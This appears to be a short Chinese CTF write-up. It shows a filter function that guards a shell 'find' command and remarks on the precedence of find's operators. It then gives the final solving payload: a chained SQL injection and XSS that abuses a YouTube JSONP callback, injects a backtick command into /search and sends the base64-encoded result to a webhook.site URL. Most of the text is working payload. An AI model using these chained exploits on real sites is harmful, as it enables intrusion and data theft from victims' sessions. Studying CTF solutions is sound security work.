{% raw %}https://www.youtube.com/oembed?callback=fetch(%27/search%27,{method:%27POST%27,headers:{%27Content-Type%27:%27application/x-www-form-urlencoded%27},body:%27search=!%20%60/*gbi*y%60%27}).then(function(r){return%20r.text()}).then(function(b){%27https://webhook.site/a138efe1-2da9-4b69-8a10-0a7ba9561c3d?a=%27%2bbtoa(new%20DOMParser().parseFromString(b,%27text/html%27).body.innerText)}){% endraw %}
defsanitize_input(payload): if payload isNone: return"" s = str(payload) cmds = ['cc', 'gcc ', 'ex ', 'sleep ']
if re.search(r"""[<>mhnpdvq$srl+%kowatf123456789'^@"\\]""", s): return"Character Not Allowed" if any(cmd in s for cmd in cmds): return"Command Not Allowed" pattern = re.compile(r'([;&|$\(\)\[\]<>])') escaped = pattern.sub(r'\\\1', s) return escaped
cmd = f"find {FILES_DIR}{sanitized_payload}"
这里过滤了一堆乱七八糟的东西,说实话实际上场景根本不会这样,实在是为了出题而出题。
这里过滤太多东西,剩下一个反引号,还有就是找find命令支持哪些参数。
找到一个
1 2 3 4 5 6 7
在处理复杂的组合逻辑时,优先级非常重要:
NOT 最高 (!)
AND 次之 (-a)
OR 最低 (-o)
最终解题的payload
1
{% raw %}/ratings?quantity=0%20OR%20(SELECT%201%20FROM%20`%3Cscript%20src=https://www.youtube.com/oembed?callback=fetch(%2527/search%2527,{method:%2527POST%2527,headers:{%2527Content-Type%2527:%2527application/x-www-form-urlencoded%2527},body:%2527search%3d!%2520%2560/*gbi*y%2560%2527}).then(function(r){return%2520r.text()}).then(function(b){location.href=%2527https://webhook.site/a138efe1-2da9-4b69-8a10-0a7ba9561c3d?a=%2527%252bbtoa(new%2520DOMParser().parseFromString(b,%2527text/html%2527).body.innerText)})%3E%3C/script%3E//`){% endraw %}